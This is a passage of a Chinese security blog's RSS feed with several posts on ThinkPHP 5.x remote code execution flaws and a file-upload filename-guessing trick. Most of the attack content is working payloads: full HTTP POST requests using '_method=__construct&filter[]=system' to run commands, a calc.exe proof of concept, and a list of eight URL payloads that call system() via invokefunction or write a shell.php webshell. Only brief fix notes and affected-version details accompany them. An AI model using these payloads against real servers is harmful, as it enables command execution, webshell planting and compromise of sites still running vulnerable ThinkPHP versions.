<p>可以看到使用的是uniqid来生成文件名，同时上传txt文件跟php文件，txt上传后的文件名跟php的文件名非常接近。我们只需要构造Burp包，遍历爆破txt文件名后三位 <strong>0-9 a-f</strong> 的文件名，就能猜出php的文件名。</p>
<p>把 <strong>$upload->allowExts</strong> 替换成 <strong>$upload->exts</strong> 就可以修补这个漏洞了。</p>
<p><strong>文笔垃圾，措辞轻浮，内容浅显，操作生疏。不足之处欢迎大师傅们指点和纠正，感激不尽。</strong></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Thinkphp5.1 ~ 5.2 全版本代码执行</title>
		<link>/web/643.html</link>
					<comments>/web/643.html#comments</comments>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Tue, 15 Jan 2019 08:02:21 +0000</pubDate>
				<category><![CDATA[渗透测试]]></category>
		<category><![CDATA[编程学习]]></category>
		<category><![CDATA[thinkphp]]></category>
		<category><![CDATA[代码执行]]></category>
		<guid isPermaLink="false">/?p=643</guid>

					<description><![CDATA[序言 最近爆出了Thinkphp5.0.*全版本代码执行，其中5.1与5.2全版本在生产环境下下同样也存在代码执行 漏洞分析： 文件位置：\thinkphp\library\thi...]]></description>
										<content:encoded><![CDATA[<h3>序言</h3>
<p>最近爆出了Thinkphp5.0.*全版本<span class="wpcom_tag_link"><a href="/tags/%e4%bb%a3%e7%a0%81%e6%89%a7%e8%a1%8c" title="代码执行" target="_blank">代码执行</a></span>，其中5.1与5.2全版本在<strong>生产环境下</strong>下同样也存在代码执行</p>
<hr />
<h3>漏洞分析：</h3>
<p>文件位置：\<span class="wpcom_tag_link"><a href="/tags/thinkphp" title="thinkphp" target="_blank">thinkphp</a></span>\library\think\Request.php</p>
<pre class="lang:default decode:true prettyprint prettyprinted ">    /**
     * 当前的请求类型
     * @access public
     * @param  bool $origin  是否获取原始请求类型
     * @return string
     */
    public function method($origin = false)
    {
        if ($origin) {
            // 获取原始请求类型
            return $this-&gt;server('REQUEST_METHOD') ?: 'GET';
        } elseif (!$this-&gt;method) {
            if (isset($_POST[$this-&gt;config['var_method']])) {
                $this-&gt;method    = strtoupper($_POST[$this-&gt;config['var_method']]);
                $method          = strtolower($this-&gt;method);
                $this-&gt;{$method} = $_POST;
            } elseif ($this-&gt;server('HTTP_X_HTTP_METHOD_OVERRIDE')) {
                $this-&gt;method = strtoupper($this-&gt;server('HTTP_X_HTTP_METHOD_OVERRIDE'));
            } else {
                $this-&gt;method = $this-&gt;server('REQUEST_METHOD') ?: 'GET';
            }
        }

        return $this-&gt;method;
    }</pre>
<p>其中：</p>
<pre class="lang:default decode:true prettyprint prettyprinted">$this-&gt;method    = strtoupper($_POST[$this-&gt;config['var_method']]);
$method          = strtolower($this-&gt;method);
$this-&gt;{$method} = $_POST;</pre>
<p>$method变量是$this-&gt;method，其同等于POST的”_method”参数值</p>
<p>然后该处存在一个变量覆盖</p>
<p>我们可以覆盖 $filter 属性值(POC如下)</p>
<pre class="lang:default decode:true prettyprint prettyprinted">c=exec&amp;f=calc.exe&amp;&amp;_method=filter&amp;</pre>
<p>访问如下图所示：</p>
<p><img src="http://boomeye.com/statics/wordpress/1.png" alt="1547216389386" /></p>
<p>会爆出一个警告级别的异常，导致程序终止</p>
<h3>如何触发：</h3>
<p>如果设置忽略异常提示，如下图：</p>
<p><img src="http://boomeye.com/statics/wordpress/2.png" alt="1547216439115" /></p>
<p>本身项目发布就需要屏蔽异常和错误所以这个配置是一个正常的配置</p>
<h3>Payload（POST请求）:</h3>
<p><img src="http://boomeye.com/statics/wordpress/3.png" alt="1547216479219" /></p>
<p>弹出计算器</p>
]]></content:encoded>
					
					<wfw:commentRss>/web/643.html/feed</wfw:commentRss>
			<slash:comments>1</slash:comments>
		
		
			</item>
		<item>
		<title>Thinkphp5.x又双叒叕一个远程代码执行</title>
		<link>/web/638.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Fri, 11 Jan 2019 12:44:24 +0000</pubDate>
				<category><![CDATA[渗透测试]]></category>
		<category><![CDATA[thinkphp]]></category>
		<category><![CDATA[远程命令执行]]></category>
		<guid isPermaLink="false">/?p=638</guid>

					<description><![CDATA[今天thinkphp官方又双叒叕发布了5.0.24版本，包含了一个可能getshell的安全更新。在12月9日thinkphp爆出远程代码执行之后，今天晚上又爆出来远程代码执行，见...]]></description>
										<content:encoded><![CDATA[<p class="md-end-block" contenteditable="true">今天<span class="wpcom_tag_link"><a href="/tags/thinkphp" title="thinkphp" target="_blank">thinkphp</a></span>官方又双叒叕发布了5.0.24版本，包含了一个可能getshell的安全更新。在12月9日thinkphp爆出远程代码执行之后，今天晚上又爆出来远程代码执行，见<span class=" md-link"><a spellcheck="false" href="https://blog.thinkphp.cn/910675">官方公告</a></span><span class="">。</span></p>
<h3 class="md-end-block md-heading" contenteditable="true">影响范围</h3>
<p class="md-end-block" contenteditable="true">thinkphp5.0.0~5.0.23</p>
<h3 class="md-end-block md-heading" contenteditable="true">各版本PoC</h3>
<p class="md-end-block" contenteditable="true">thinkphp5.0.10版本poc如图</p>
<p><span class="md-image md-img-loaded" contenteditable="false" data-src="https://ws1.sinaimg.cn/large/006xriynly1fz2vmzjmtvj30z40rktd9.jpg"><img src="https://ws1.sinaimg.cn/large/006xriynly1fz2vmzjmtvj30z40rktd9.jpg" /></span></p>
<pre class="lang:default decode:true ">POST /think-5.0.10/public/index.php?s=index/index/index HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 53
​
s=whoami&amp;_method=__construct&amp;method=&amp;filter[]=system</pre>
<p>&nbsp;</p>
<p class="md-end-block" contenteditable="true">在官网最新下载的5.0.23完整版中，在App类（thinkphp/library/think/App.php）中module方法增加了设置filter参数值的代码，用于初始化filter。因此通过上述请求设置的filter参数值会被重新覆盖为空导致无法利用。</p>
<p>thinkphp5.0.23版本<span class=""><strong>需要开启debug模式</strong></span>才可以利用，附两个poc： <span class="md-image md-img-loaded" contenteditable="false" data-src="https://ws1.sinaimg.cn/large/006xriynly1fz2vpbwanaj30z40rk799.jpg"><img src="https://ws1.sinaimg.cn/large/006xriynly1fz2vpbwanaj30z40rk799.jpg" /></span></p>
<pre class="lang:default decode:true ">POST /thinkphp/public/index.php HTTP/1.1
Host: 127.0.0.1
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 65
​
_method=__construct&amp;filter[]=system&amp;server[REQUEST_METHOD]=whoami</pre>
<p>&nbsp;</p>
<div class="md-hr md-end-block" tabindex="-1" contenteditable="false">
<hr />
</div>
<p class="md-end-block md-focus" contenteditable="true"><span class="md-image md-img-loaded md-expand" contenteditable="false" data-src="https://ws1.sinaimg.cn/large/006xriynly1fz2vv99temj30z40rkwik.jpg"><img class="" src="https://ws1.sinaimg.cn/large/006xriynly1fz2vv99temj30z40rkwik.jpg" /></span></p>
<pre class="lang:default decode:true ">POST /thinkphp/public/index.php?s=captcha HTTP/1.1
Host: 127.0.0.1
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 77
​
_method=__construct&amp;filter[]=system&amp;method=post&amp;server[REQUEST_METHOD]=whoami</pre>
<p>&nbsp;</p>
<p>上一个rec参考链接</p>
<blockquote class="wp-embedded-content" data-secret="uQx7gAthaX"><p><a href="/web/613.html">thinkphp5框架缺陷导致远程代码执行</a></p></blockquote>
<p><iframe title="《thinkphp5框架缺陷导致远程代码执行》—ChaBug安全" class="wp-embedded-content" sandbox="allow-scripts" security="restricted" style="position: absolute; clip: rect(1px, 1px, 1px, 1px);" src="/web/613.html/embed#?secret=uQx7gAthaX" data-secret="uQx7gAthaX" width="500" height="282" frameborder="0" marginwidth="0" marginheight="0" scrolling="no"></iframe></p>
<p><a href="https://y4er.com/post/thinkphp5.x-rce-18-12-9/">https://y4er.com/post/thinkphp5.x-rce-18-12-9/</a></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>thinkphp5框架缺陷导致远程代码执行</title>
		<link>/web/613.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Tue, 11 Dec 2018 11:45:30 +0000</pubDate>
				<category><![CDATA[渗透测试]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[thinkphp]]></category>
		<category><![CDATA[代码审计]]></category>
		<category><![CDATA[远程命令执行]]></category>
		<guid isPermaLink="false">/?p=613</guid>

					<description><![CDATA[&#160; /tp-5.1.24/public/index.php?s=index/\think\template\driver\file/write?cacheFile=she...]]></description>
										<content:encoded><![CDATA[<p><img loading="lazy" class="alignnone size-medium" src="https://ws1.sinaimg.cn/large/006xriynly1fy31j8s2yhj30oc0ouqk2.jpg" width="876" height="894" /></p>
<p>&nbsp;</p>
<pre class="lang:default decode:true ">/tp-5.1.24/public/index.php?s=index/\think\template\driver\file/write?cacheFile=shell.php&amp;content=%3C?php%20phpinfo();?%3E
</pre>
<pre class="lang:default decode:true ">1、?s=index/\think\Request/input&amp;filter=phpinfo&amp;data=1
2、?s=index/\think\Request/input&amp;filter=system&amp;data=id
3、?s=index/\think\template\driver\file/write&amp;cacheFile=shell.php&amp;content=%3C?php%20phpinfo();?%3E
4、?s=index/\think\view\driver\Php/display&amp;content=%3C?php%20phpinfo();?%3E
5、?s=index/\think\app/invokefunction&amp;function=call_user_func_array&amp;vars[0]=phpinfo&amp;vars[1][]=1
6、?s=index/\think\app/invokefunction&amp;function=call_user_func_array&amp;vars[0]=system&amp;vars[1][]=id
7、?s=index/\think\Container/invokefunction&amp;function=call_user_func_array&amp;vars[0]=phpinfo&amp;vars[1][]=1
8、?s=index/\think\Container/invokefunction&amp;function=call_user_func_array&amp;vars[0]=system&amp;vars[1][]=id
</pre>
<p><img loading="lazy" class="alignnone size-medium" src="https://ws1.sinaimg.cn/large/006xriynly1fy31lby3b1j31ew0h3t90.jpg" width="1832" height="615" /></p>
]]></content:encoded>
					
		
		
			</item>
	</channel>
</rss>
